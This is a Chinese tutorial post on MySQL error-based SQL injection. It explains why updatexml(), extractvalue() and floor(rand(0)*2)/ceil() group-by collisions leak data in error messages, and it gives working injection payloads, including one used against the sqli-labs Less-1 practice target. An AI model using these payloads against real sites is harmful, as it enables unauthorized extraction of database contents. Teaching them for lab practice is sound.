SQL Injection | SQL 注入 —— 报错盲注

关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客

0x01:报错盲注 —— 理论篇

报错盲注(Error-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会直接显示后端处理结果的查询方式,比如 deleteinsertupdate

报错盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的函数,迫使数据库在执行查询时产生错误,并利用这些错误信息将攻击者所需要的信息回显回来。

0x0101:MySQL 报错盲注 — 相关函数

1. updatexml() — xpath 报错注入

1.1 updatexml() 函数简介

MySQL 中的 updatexml() 函数用于更新 XML 文档的指定部分并返回修改后的文档。在需要更改存储在数据库中的 XML 数据的情况下,它特别有用:

 -- updatexml() 语法UPDATEXML(xml_target, xpath_expr, new_xml)​-- updatexml() 参数解析xml_target : 将要被修改的 XML 文档xpath_expr : 指定要更新的 XML 文档部分的 XPath 表达式new_xml    : 将替换 xpath_expr 指定的现有内容的新 XML 内容

以下是该函数的一个正确的使用示例:

 -- 将原 XML 文档中的 <name>John</name> 替换为 <name>Blue17</name>select updatexml('<root><name>John</name></root>', '/root/name', '<name>Blue17</name>');

1.2 updatexml() 报错原理

使用 updatexml() 函数时,如果 xpath_expr 格式出现错误,则 MySQL 将会爆出 xpath 语法错误(xpath syntax),比如下面这个例子:

 select updatexml('<root><name>John</name></root>', '<whoami>', '<name>Blue17</name>');

1.3 updatexml() 报错实例

以下是一个使用 updatexml() 函数进行报错注入的攻击实例:

 select * from users where id=1 and updatexml(1,concat(0x7e,user(),0x7e),1);

2. extractvalue() — xpath 报错注入

2.1 extractvalue() 函数简介

MySQL 中的 extractvalue() 函数用于从目标 XML 文档中提取和查询指定部分的文档:

 -- extractvalue() 语法EXTRACTVALUE(xml_document, xpath_expr)​-- extractvalue() 参数解析xml_document : 包含 XML 文档的字符串或者一个列名xpath_expr   : 指定要提取的节点的 xpath 表达式

以下是该函数的一个正确的使用示例:

 -- 查询 XML 文档中的 /root/name 节点中的值SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '/root/name');

2.2 extractvalue() 报错原理

使用 extractvalue() 函数时,如果 xpath_expr 格式出现错误,则 MySQL 将会爆出 xpath 语法错误(xpath syntax),比如下面这个例子:

 SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '~whoami~');

2.3 extractvalue() 报错实例

以下是一个使用 extractvalue() 函数进行报错注入的攻击示例:

 insert into users values(4, 'Blue17', extractvalue(1,concat(0x7e,user(),0x7e)), 4);

3. floor() - 虚表主键重复报错

3.1 floor() 函数简介

MySQL 中的 floor() 函数用户返回小于或等于指定数值的最大整数:

-- floor() 语法
FLOOR(number)-- floor() 参数解析
number : 需要向下取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。

以下是该函数的一个正确的使用示例:

select floor(4.7);

3.2 floor() 报错原理

floor() 报错注入的原理是 group by 在向临时表中插入数据时,由于 rand() 多次计算导致插入临时表时主键重复,从而报错。又因为报错前 concat() 中的 SQL 语句或者函数被执行,所以该语句报错时抛出的主键是 SQL 语句或函数执行后的结果。

关联函数

  • rand() / rand(N):产生 0~1 (包含 0 和 1)之间的随机数。若指定一个整数参数 N,则它被作用为种子值,用来产生重复序列。

  • count(*):返回表的记录数(行数)

  • concat():将多个字符串连接成一个字符串

  • group_by:根据 by 对数据按照指定字段进行分组(去重),会建立一张临时表。

  • ceil():向上取整

3.2.1 floor() 报错需要满足的条件
  • floor() 报错注入在 MySQL 版本 8.0 已失效,据说在 7.3.4nts 中也已经失效了。

  • floor() 报错注入中查询用到的数据表内的数据必须 >=3 条。

  • 以下函数未被 WAF 过滤:count(*)、floor() 或 ceil()、rand()、group by

3.2.2 floor() 报错原理 - 前置知识

在介绍 floor() 报错原理之前,我们先来了解一下 MySQL 中的 count() 函数与 group by 结合使用时的工作流程。

首先,将下面的语句复制到数据库中,我们先搭建一个用于测试测环境:

-- 创建 users 数据表
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, uname VARCHAR(50) NOT NULL, pwd VARCHAR(255) NOT NULL
);-- 插入测试数据
insert into users values(1, 'admin', 1);
insert into users values(2, 'admin1', 2);
insert into users values(3, 'admin2', 3);
insert into users values(4, 'admin', 4);

接下来,输入下面的语句,来看一下 count(*)group by 联合使用的结果:

mysql> select uname,count(*) from users group by uname;
+--------+----------+
| uname  | count(*) |
+--------+----------+
| admin  |        2 |
| admin1 |        1 |
| admin2 |        1 |
+--------+----------+
3 rows in set (0.00 sec)

让我们来分析一下,产生此结果的流程(这对后续理解 floor() 报错注入很重要)。

count(*)group by 碰到一起时,MySQL 会建立一个虚拟表,那时的工作流程如下:

首先 MySQL 会建立一个空的虚拟表,key 为主建,不可重复(这里的 key 你可以理解为 分组字段,比如 group by uname,key 就是分组字段,也就是 uname),此时的虚表长这样:

keycount(*)

接下来,MySQL 会根据分组字段到虚表的 key 中查询,如果 key 中没有相同的数据,就将该数据添加进虚拟表中,并设置 count 为 1。比如,此时分组字段是 unameusers 数据表中第一个 uname 值为 admin,虚表中的 key 中不存在 admin,所以就将此值直接添加进虚拟表中,并设置 count 为 1,此时的虚拟表长这样:

keycount(*)
admin1

然后 MySQL 会继续查看 users 数据表的下一个 uname 值,如果该值在虚拟表的 key 中没有,则继续将该值添加进虚拟表中,并设置其 count(*) 值为 1:

keycount(*)
admin1
admin11

以此类推,直到碰到下一个 uname 的值为 admin 前,虚拟表中的数据如下:

keycount(*)
admin1
admin11
admin21

如果在虚拟表的 key 中遇到相同的数据,则 MySQL 不会对数据进行插入,而是会对 count(*) 进行加 1 的操作。比如,此时在 users 数据表中又遇到了 uname 值为 admin,该值在虚表中是存在的,所以此时的虚表就变成了如下格式:

keycount(*)
admin1 + 1
admin11
admin21

流程还是很简单的,下面我们开始真正进入 floor() 报错注入的原理。在此之前,请记住虚表的一个特性:主键不能重复!

3.2.3 group by floor(rand(0) * 2) 报错原理

该语句报错的主要原因如下:

  1. group by 产生的虚表中,主键不能重复。

  2. rand(0) 函数执行的比 group by 插入虚拟表的速度要快。

  3. floor(rand(0) * 2) 结果是存在规律的,规律为:0110110011....,主要是前五个。

MySQL 官方提示:查询的时候使用 rand(),该值会被计算多次!

这里的计算多次,在 floor() 报错中的理解如下:

在使用 group by 时,floor(rand(0) * 2) 会被执行一次,如果虚表中不存在记录,插入虚表时会再执行一次。

为了便于理解,我们先举一个特殊的例子:

-- 01. 随便选择一个数据库,创建一个空表 test
create table test(id int primary key,uname varchar(20)
);-- 02. 插入两条数据,注意,只要插入两条
insert into test values(0, 'admin');
insert into test values(1, 'admin1');-- 03. 查看 test 表中的数据
mysql> select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), "Look Me") from test;
+--------------------+--------+---------------------------------------+
| floor(rand(0) * 2) | uname  | concat(floor(rand(0) * 2), "Look Me") |
+--------------------+--------+---------------------------------------+
|                  0 | admin  | 0Look Me                              |
|                  1 | admin1 | 1Look Me                              |
+--------------------+--------+---------------------------------------+
2 rows in set (0.00 sec)-- 04. 反直觉的:rand() + group by
mysql> select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
+---------------------------------------+----------+
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
+---------------------------------------+----------+
| 1Look Me                              |        2 |
+---------------------------------------+----------+
1 row in set (0.00 sec)

上面 04 实例所展示的结果,是不是与我们的直觉相反,从 03 来看 concat(floor(rand(0) * 2), "Look Me") 查询出来的结果依次是:0Look Me1Look Me,所以按照道理,在计数时,最终展示的表格内容应该如下:

xcount(*)
0Look Me1
1Look Me1

但事实却是,1Look Me 被计数了两次。接下来,我们来理理为什么会出现这种结果。

先来看看下面这条语句的执行结果:

mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+---------------------------------------+
| concat(floor(rand(0) * 2), "Look Me") |
+---------------------------------------+
| 0Look Me                              |
| 1Look Me                              |
+---------------------------------------+
2 rows in set (0.00 sec)

当我们为其增加 count(*)group by 后 MySQL 的运算过程如下:

首先,MySQL 会建立一张虚表,concat(floor(rand(0) * 2), "Look Me") 是主键,里面的值不可重复(我们将 concat(floor(rand(0) * 2), "Look Me") 简记为 Key,方便讲解):

concat(floor(rand(0) * 2), "Look Me")count(*)

floor(rand(0) * 2) 结果序列:0110110011....

接下来,MySQL 会读取第一行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 进行了第一次计算 concat(floor(rand(0) * 2), "Look Me"),得到结果为 0LookMe。MySQL 发现此值并不在虚表中存在,所以决定将此值插入到虚表中,并设置 count 值为 1。但是,就在 MySQL 准备将计算结果插入虚表时,由于 MySQL 的 Bug,导致 concat(floor(rand(0) * 2), "Look Me") 在插入之前又被计算了一次(第二次计算),导致 MySQL 实际插入的值为 1LookMe,此时虚表中实际的内容为:

concat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me1

接着,MySQL 读取第二行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 第三次计算了 concat(floor(rand(0) * 2), "Look Me"),得到结果为 1LookMe,该值在虚表中存在,所以 MySQL 就会直接执行插入操作(因为值在虚表中存在,所以不会触发 rand() 多次计算的 BUG),所以此时虚表展示的最终结果为:

concat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me1+1

这就是为什么最终我们看到的,和实际我们想象的不一样的原因。

接下来,我们往测试表中再次插入一条数据,触发 floor() 报错:

insert into test values(2,'admin2');mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+--------+---------------------------------------+
| uname  | concat(floor(rand(0) * 2), "Look Me") |
+--------+---------------------------------------+
| admin  | 0Look Me                              |
| admin1 | 1Look Me                              |
| admin2 | 1Look Me                              |
+--------+---------------------------------------+
3 rows in set (0.00 sec)

继续之前的分析,MySQL 读取第三行数据,第四次计算 concat(floor(rand(0) * 2), "Look Me") 的值为 0Look Me,MySQL 发现虚表中没有该值对应的 Key,所以,准备执行插入操作。但是就在执行插入操作之前,由于 MySQL 的 Bug,其第五次计算了 concat(floor(rand(0) * 2), "Look Me"),导致实际插入的结果为 1Look Me,此时的虚表变成了:

xconcat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me2
1Look Me?

可以看到,MySQL 认为自己插入的是 0Look Me,但是由于 Bug,导致实际插入的是 1Look Me,而 1Look Me 在虚表中是存在的,由于虚表的 Key 唯一的特性,所以 MySQL 此时就会产生报错:

select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");

3.3 floor() 报错实例

以下是一个使用 floor() 函数进行报错注入的攻击示例:

select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x;

4. ceil() - 虚表主键重复报错

4.1 ceil() 函数简介

MySQL 中的 ceil() 函数用于返回大于或等于指定数值的最小整数:

-- ceil() 语法
CEIL(number)-- ceil() 参数解析
number : 需要向上取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。

以下是该函数的一个正确的使用示例:

select ceil(4.1);

4.2 ceil() 报错原理

ceil() 报错注入的原理与上面讲解的 floor() 报错原理 一致,所以这里就不多说了。

4.3 ceil() 报错实例

以下是一个使用 ceil() 函数进行报错注入的攻击实例:

select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x;

0x02:报错盲注 —— 实战篇

本节重点在于熟悉报错盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-1 GET - Error based - Single Quotes - String,靶场的配套资源如下(附安装教程):

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)

  • SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:Sqli-labs Less-1 GET - Error based - Single Quotes - String)

0x0201:第一阶段 — 判断注入点

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了对应 id 用户的登录名与登录密码。此时,我们可以再输入几个数据进行测试:

测试 Payload 01: ?id=1  # 结果: Your Login name:Dumb      Your Password:Dumb
测试 Payload 02: ?id=2  # 结果: Your Login name:Angelina  Your Password:I-kill-you
测试 Payload 03: ?id=2-1 # 结果: Your Login name:Angelina  Your Password:I-kill-you
测试 Payload 04: ?id=1' # 结果: 报错

可以看到,当我们传递 Payload 04 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板。

0x0202:第二阶段 — 报错盲注漏洞利用

既然能显示报错信息,那么本关我们就可以直接使用报错注入(使用 Union 联合注入也是可以的,但是,从本关的名称 Error based 就可以看出,本关的考点是报错注入),攻击 Payload 如下:

-- 获取当前服务器正在使用的数据库的名称
攻击 Payload: ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+'
笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。以上,就是报错盲注的基本利用方式。后面想查啥,直接往报错注入的回显点里写就可以了,笔者在这里就不多说了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/56973.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安装nginx实现多ip访问多网站

关闭防火墙并停selinux&#xff1a; 挂载&#xff1a; 安装nginx&#xff1a; 判断nginx是否成功启动&#xff1a; 打开nmtui并添加多个ip&#xff1a; 重启nmtui&#xff1a; 查看多ip是否配置成功: 配置文件&#xff1a; 创建文件&#xff1a; 根据配置在主机创建数据文件&a…

高翔【自动驾驶与机器人中的SLAM技术】学习笔记(十一)ESKF中融合速度观测量;发散的原因;如何解决发散;以及对slam的理解

带着问题去学习: 1、slam发散的原因? 2、如何解决/限制发散? 3、如何在已经有观察值和预测值的ESKF中,再引入一个其他其他观察量? 一、多传感器融合的思考——轮速计 反思为何需要融合多个传感器? 我认为根本上的原因,是因为有些传感器在某些场景下会失灵、效果不佳…

aws(学习笔记第七课) 私有子网使用NAT服务器

aws(学习笔记第七课) AWS的私有子网使用NAT服务器 学习内容&#xff1a; AWS的私有子网使用NAT服务器 1. AWS的私有子网使用NAT服务器 在上面的例子的网络构成图中&#xff0c;可能会发现一个问题。就是Private Subnet的Apache server无法访问互联网。比如&#xff0c;当需要…

云计算-----单机LNMP结构WordPress网站

LNMP结构 博客网站 day1 小伙伴们&#xff0c;LNMP结构在第一二阶段浅浅的学习过&#xff0c;这里我们可以离线部署该结构。L指&#xff08;虚拟机&#xff09;服务器&#xff0c;nginx&#xff08;前端代理服务器&#xff09;mysql数据库&#xff0c;最后基于php建设动态…

DockerCompose快速部署Java项目、nginx前端和mysql数据库到centos虚拟机

简介&#xff1a;整理自&#xff1a;SpringCloud微服务开发与实战&#xff0c;java黑马商城项目微服务实战开发&#xff08;涵盖MybatisPlus、Docker、MQ、ES、Redis高级等&#xff09;课程的飞书文档。 DockerCompose介绍 大家可以看到&#xff0c;我们部署一个简单的java项…

黑马程序员Java笔记整理(day03)

1.switch 2.for与while对比 3.嵌套定义,输出的区别性 4.break与continue 5.随机数生成的两种方式 6.Random 7.随机验证码

到底是微服务,还是SOA?

引言&#xff1a;大概正式工作有5年了&#xff0c;换了三个大厂【也是真特么世道艰难&#xff0c;中国互联网人才饱和了】。基本上每个公司有的架构都不太相同&#xff0c;干过TOC和TOB的业务&#xff0c;但是大家用的架构都不太相同。有坚持ALL in one的SB&#xff0c;最后服务…

【Linux】并行与并发(含时间片)

简单来说 并发&#xff1a;多个进程轮流使用同一个CPU&#xff0c;在逻辑层面上&#xff0c;一段时间内推进完成了多个进程 并行&#xff1a;机器中有多个CPU可以使用&#xff0c;在物理层面上&#xff0c;做到同一时间会有多个进程同时在运行 举个例子&#xff1a;一群人需要…

深入理解WPF中的命令机制

Windows Presentation Foundation&#xff08;WPF&#xff09;是微软推出的一种用于构建桌面客户端应用程序的技术。它被认为是现代Windows应用程序的基础&#xff0c;具有强大的图形和媒体处理能力。在WPF中&#xff0c;“命令”是一个重要的概念&#xff0c;它为应用程序开发…

Mybatis操作

一、Mybatis基础操作 准备 准备数据库表 emp 1.创建一个新的springboot工程&#xff0c;选择引入对应的起步依赖&#xff08;mybatis、mysql驱动、lombok&#xff09; 2.application.properties中引入数据库连接信息 3.创建对应的实体类 Emp&#xff08;实体类属性采用驼峰…

②PROFINET转ModbusTCP, EtherCAT/Ethernet/IP/Profinet/ModbusTCP协议互转工业串口网关

EtherCAT/Ethernet/IP/Profinet/ModbusTCP协议互转工业串口网关https://item.taobao.com/item.htm?ftt&id822721028899 协议转换通信网关 PROFINET 转 Modbus TCP &#xff08;接上一章&#xff09; 配置使用 与 PROFINET 主站进行组态说明 这里介绍与西门子 PLC 的…

git分支模型

定义分支 长期分支 指长期存在的分支&#xff0c;也叫固定分支 developmaster 短期分支 短分支没有固定的分支名。但是有分支名规范 feature分支hotfix分支 分支模型 暂时无法在文档外展示此内容 参考 分支的目的是隔离&#xff0c;但多一个分支也意味着维护成本的增加。…

NFT Insider #152:The Sandbox Alpha 第4季开启

市场数据 加密艺术及收藏品新闻 Realm of Historia 推出首个以古老文化遗址为主题的 NFT 系列 专注于文化遗产保护的区块链平台 Realm of Historia 正通过推出首个 NFT 系列扩大其全球影响力。该系列以亚美尼亚的古代遗址 Carahunge 为主题&#xff0c;这一遗址已有 7500 多年…

EDM邮件营销,如何确保高频率发送不触发限制

EDM邮件营销需选对平台&#xff0c;遵守反垃圾邮件法规&#xff0c;高效管理邮件列表&#xff0c;合理制定发送频率&#xff0c;优化内容与设计&#xff0c;用智能化工具测试与优化&#xff0c;监控送达和反馈&#xff0c;维持良好ISP关系&#xff0c;确保高效安全发送不封号。…

13.3寸三防平板大尺寸+高速运行提升工业软件操作体验

在工业领域&#xff0c;移动设备的应用日益广泛&#xff0c;其性能直接影响着工作效率和数据安全。传统的工业平板电脑常常面临着屏幕尺寸过小、运行速度缓慢、以及抗环境能力不足等问题&#xff0c;这些都制约了工业软件的流畅运行和高效应用。而一款搭载先进硬件配置的13.3寸…

线性代数基础02_矩阵(下)向量

目录 一、矩阵&#xff08;下&#xff09; 1、伴随矩阵 2、逆矩阵 3、初等变换 4、矩阵的标准形 4.1行阶梯形矩阵 4.2简化行阶梯型矩阵 二、向量 1、定义 2、向量的运算 3、矩阵的特征值和特征向量 4、向量的模 5、向量的内积 一、矩阵&#xff08;下&#xff09;…

动态规划-子数组系列——乘积最大子数组

1.题目解析 题目来源&#xff1a;152.乘积最大子数组——力扣 测试用例 2.算法原理 1.状态表示 由于题目给的数组中可以包含负数&#xff0c;因此求最大乘积有两种情况&#xff1a; a.负数乘以最小数得出最大乘积 b.整数乘以最大数得出最大乘积 所以需要两个表分别求出最大最…

Ajax(web笔记)

文章目录 1.Ajax的概念2.Ajax 的作用3.原生Ajax4.Axios4.1Axios的概念4.2Axios入门 1.Ajax的概念 AsynchronousJavaScriptAndXML&#xff0c;异步的JavaScript和XML 2.Ajax 的作用 数据交换:过Ajax可以给服务器发送请求&#xff0c;并获取服务器响应的数据。异步交互:可以在…

R语言医学数据分析实践-R编程环境的搭建

【图书推荐】《R语言医学数据分析实践》-CSDN博客 《R语言医学数据分析实践 李丹 宋立桓 蔡伟祺 清华大学出版社9787302673484》【摘要 书评 试读】- 京东图书 (jd.com) R语言编程_夏天又到了的博客-CSDN博客 R语言对编程环境的要求不高&#xff0c;可以在多种操作系统平台上…

找寻孤独伤感视频素材的热门资源网站推荐

在抖音上&#xff0c;伤感视频总是能够引起观众的共鸣&#xff0c;很多朋友都在寻找可以下载伤感视频素材的地方。作为一名资深的视频剪辑师&#xff0c;今天我来分享几个提供高清无水印伤感素材的网站&#xff0c;如果你也在苦苦寻找这些素材&#xff0c;不妨看看以下推荐&…